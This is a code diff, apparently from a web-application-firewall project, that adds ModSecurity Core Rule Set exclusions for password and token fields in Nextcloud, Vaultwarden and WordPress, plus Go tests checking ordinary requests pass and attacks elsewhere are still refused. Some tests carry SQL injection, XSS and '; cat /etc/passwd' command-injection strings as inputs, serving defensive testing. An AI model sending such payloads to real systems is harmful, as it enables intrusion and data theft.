ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?value$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?value$/"
|
||||
|
||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||
"id:900103,phase:1,pass,nolog,\
|
||||
|
||||
@@ -16,6 +16,9 @@ import (
|
||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudSignIn is the sign-in page.
|
||||
const nextcloudSignIn = "/login"
|
||||
|
||||
// nextcloudShare is a public share's page.
|
||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||
|
||||
@@ -48,12 +51,6 @@ const (
|
||||
// nextcloudOther is a JSON field no exclusion names.
|
||||
const nextcloudOther = `{"other":"python3"}`
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||
// and 932260, each on a path where it skips them, ending in "=".
|
||||
//
|
||||
@@ -83,8 +80,7 @@ var nextcloudQueryFields = []string{
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudFormFields = []struct{ target, field string }{
|
||||
{"/login", "user="},
|
||||
{"/login", passwordField},
|
||||
{nextcloudSignIn, "user="},
|
||||
{nextcloudUsers, "userid="},
|
||||
{nextcloudUsers, "displayName="},
|
||||
{nextcloudUsers, "groups%5B%5D="},
|
||||
@@ -301,6 +297,17 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
||||
return scores
|
||||
}
|
||||
|
||||
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
||||
// bodies, gives signing in with value, a query value, as the password.
|
||||
func nextcloudPasswordScore(t *testing.T, value string) int {
|
||||
t.Helper()
|
||||
|
||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
||||
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
||||
|
||||
return got.Score
|
||||
}
|
||||
|
||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -310,6 +317,125 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
|
||||
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
||||
t.Errorf("password %s refused: %d", value, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudPasswordPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
||||
|
||||
wantRandomPasswordsPass(t, r, "password")
|
||||
wantPasswordAttacksPass(t, r, "password")
|
||||
wantPasswordAttacksRefused(t, r, "password")
|
||||
}
|
||||
|
||||
func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
password := []string{passwordKey}
|
||||
change := []string{"oldPassword", "newPassword"}
|
||||
recovery := []string{"oldPassword", "newPassword", "confirmPassword"}
|
||||
adminRecovery := []string{"recoveryPassword", "confirmPassword"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/ocs/v1.php/person/check", formData, password},
|
||||
{"/ocs/v2.php/person/check", jsonBody, password},
|
||||
{"/ocs/v2.php/core/apppassword/confirm", jsonBody, password},
|
||||
{nextcloudShares + "/42/send-email", jsonBody, password},
|
||||
{"/apps/user_ldap/renewpassword", formData, change},
|
||||
{"/index.php/apps/user_ldap/renewpassword", formData, change},
|
||||
{"/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||
{"/index.php/apps/encryption/ajax/updatePrivateKeyPassword", formData, change},
|
||||
{"/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||
{"/index.php/apps/encryption/ajax/changeRecoveryPassword", formData, recovery},
|
||||
{"/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||
{"/index.php/apps/encryption/ajax/adminRecovery", formData, adminRecovery},
|
||||
{"/login/confirm", jsonBody, password},
|
||||
{"/index.php/login/confirm", formData, password},
|
||||
{"/lostpassword/set/AbCdEf/alice", jsonBody, password},
|
||||
{
|
||||
"/settings/personal/changepassword", jsonBody,
|
||||
[]string{"oldpassword", "newpassword"},
|
||||
},
|
||||
{
|
||||
"/index.php/settings/users/changepassword", formData,
|
||||
[]string{passwordKey, "recoveryPassword"},
|
||||
},
|
||||
{nextcloudShare + "/authenticate/showShare", formData, password},
|
||||
{nextcloudUsers, jsonBody, password},
|
||||
{"/ocs/v1.php/cloud/users/alice", formData, password},
|
||||
{nextcloudUsers + "/alice", jsonBody, password},
|
||||
{nextcloudShares, jsonBody, password},
|
||||
{nextcloudShares + "/42", formData, password},
|
||||
})
|
||||
}
|
||||
|
||||
// TestNextcloudUserPasswordInValuePasses sends a password as Nextcloud's
|
||||
// provisioning API takes it, as the value of the field the key names.
|
||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
target := nextcloudUsers + "/alice"
|
||||
|
||||
form := request{http.MethodPut, target, []string{formData}}
|
||||
jsonRequest := request{http.MethodPut, target, []string{jsonBody}}
|
||||
|
||||
formPassword := func(passwords ...string) string {
|
||||
return "key=password&" + formBody("value", passwords...)
|
||||
}
|
||||
jsonPassword := func(passwords ...string) string {
|
||||
body := passwordBody(t, jsonRequest, []string{"value"}, passwords...)
|
||||
|
||||
return `{"key":"password",` + body[1:]
|
||||
}
|
||||
|
||||
misfiring := misfiringPasswords(t)
|
||||
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
body string
|
||||
}{
|
||||
{form, formPassword(misfiring...)},
|
||||
{jsonRequest, jsonPassword(misfiring...)},
|
||||
{form, formPassword("' OR '1'='1", "<img src=x onerror=x()>")},
|
||||
{jsonRequest, jsonPassword("; cat /etc/passwd")},
|
||||
} {
|
||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score >= threshold {
|
||||
t.Errorf("%s %.40s refused: %+v", sent.r.headers[0], sent.body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// Any other key keeps every rule, and so does a second key.
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
body string
|
||||
}{
|
||||
{form, "key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
|
||||
{form, formPassword(scriptTag)},
|
||||
{form, "key=password&key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
|
||||
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
||||
} {
|
||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
||||
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// A value in the query keeps every rule.
|
||||
r := request{
|
||||
http.MethodPut, target + "?value=%27%20OR%20%271%27%3D%271",
|
||||
[]string{formData},
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, "key=password"); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -361,6 +487,10 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
}
|
||||
|
||||
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
||||
t.Errorf("password %s let through: %d", commandInjection, score)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||
|
||||
@@ -0,0 +1,180 @@
|
||||
//go:build recorded
|
||||
|
||||
// The tests that check the apps' recorded requests in testdata. The recorded
|
||||
// tag keeps them out of the test phase's pass with the race detector, and
|
||||
// its second pass, without the race detector, runs them.
|
||||
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||
// Each has the Referer of a page that names the same, as a page opened
|
||||
// from it has.
|
||||
func giteaRequests(t *testing.T) []request {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []request
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
target, header, _ := strings.Cut(line, " ")
|
||||
|
||||
headers := []string{"Referer: http://git.example" + target}
|
||||
if header != "" {
|
||||
headers = append(headers, header)
|
||||
}
|
||||
|
||||
requests = append(requests, get(target, headers...))
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, r := range giteaRequests(t) {
|
||||
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// recordedRequest is a line of a file of recorded requests in testdata.
|
||||
type recordedRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// recordedRequests returns the recorded ordinary requests in the file name
|
||||
// in testdata, each with its body.
|
||||
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join("testdata", name)
|
||||
|
||||
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []recordedRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r recordedRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||
// requests in the file name in testdata is refused, at the defaults and
|
||||
// while bodies are read. A request with neither a body nor a Content-Type
|
||||
// header is checked only at the defaults: with neither, the set that reads
|
||||
// bodies has nothing more to check. Each request runs as its own parallel
|
||||
// subtest.
|
||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||
name, _, _ := strings.Cut(header, ":")
|
||||
|
||||
return strings.EqualFold(name, "Content-Type")
|
||||
})
|
||||
if recorded.Body == "" && !typed {
|
||||
return
|
||||
}
|
||||
|
||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "wordpress-requests.txt")
|
||||
}
|
||||
@@ -82,3 +82,45 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
||||
"id:900153,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920120;FILES"
|
||||
|
||||
# The admin token, which an administrator types at /admin, skips each rule that
|
||||
# random passwords set off. The master password is hashed by the apps before
|
||||
# they send it, so password and masterPasswordHash need no exclusion.
|
||||
SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
|
||||
"id:900154,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:token "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
||||
@@ -1,7 +1,9 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"math/rand/v2"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
@@ -27,12 +29,6 @@ const (
|
||||
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
}
|
||||
|
||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||
// request that sends it, and its body, with VALUE where the field's value
|
||||
// goes.
|
||||
@@ -283,6 +279,73 @@ func vaultwardenUpload(name string) string {
|
||||
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
||||
}
|
||||
|
||||
func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/admin", formData, []string{"token"}},
|
||||
})
|
||||
}
|
||||
|
||||
// masterPasswordHashes returns count random 32-byte hashes in base64, the
|
||||
// form in which the apps send a master password.
|
||||
func masterPasswordHashes(count int) []string {
|
||||
const size, seed = 32, 288
|
||||
|
||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||
|
||||
hashes := make([]string, count)
|
||||
|
||||
for i := range hashes {
|
||||
hash := make([]byte, size)
|
||||
for j := range hash {
|
||||
hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256
|
||||
}
|
||||
|
||||
hashes[i] = base64.StdEncoding.EncodeToString(hash)
|
||||
}
|
||||
|
||||
return hashes
|
||||
}
|
||||
|
||||
// The apps hash the master password before they send it, so these fields
|
||||
// hold only base64 and set off no rule, with no exclusion.
|
||||
func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const perBody = 20
|
||||
|
||||
crs := readingBodies(t)
|
||||
hashes := masterPasswordHashes(perBody)
|
||||
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
names []string
|
||||
}{
|
||||
{
|
||||
request{http.MethodPost, "/identity/connect/token", []string{formData}},
|
||||
[]string{passwordKey},
|
||||
},
|
||||
{
|
||||
request{http.MethodPost, vaultwardenPassword, []string{jsonBody}},
|
||||
[]string{"masterPasswordHash", "newMasterPasswordHash"},
|
||||
},
|
||||
{
|
||||
request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}},
|
||||
[]string{"masterPasswordHash"},
|
||||
},
|
||||
} {
|
||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
|
||||
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -96,11 +96,131 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||
|
||||
# Signing in, in pwd, where a password holds any characters:
|
||||
# 930120: a password ending in /etc/hosts
|
||||
# Signing in, in pwd, which skips each rule that random passwords set off.
|
||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||
"id:900704,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
||||
SecRule &ARGS_GET:pwd "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
||||
|
||||
# The other passwords, which skip the same rules:
|
||||
# pass1, pass2: resetting the password at /wp-login.php, changing it on the
|
||||
# profile page and the page that edits a user, and adding a user; a
|
||||
# multisite install also changes it on network/user-edit.php,
|
||||
# network/profile.php and user/profile.php
|
||||
# post_password: the password of a protected post, sent to /wp-login.php
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:wp-login\.php|wp-admin/(?:profile|user-edit|user-new|network/user-edit|network/profile|user/profile)\.php)$" \
|
||||
"id:900715,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:pass[12]|post_password)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass[12]|post_password)$/"
|
||||
|
||||
# Creating or editing a user through the REST API, in password, in form data or
|
||||
# JSON, which skips the same rules.
|
||||
SecRule TX:rest_route "@rx ^/wp/v2/users(?:/(?:me|[0-9]+))?$" \
|
||||
"id:900716,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||
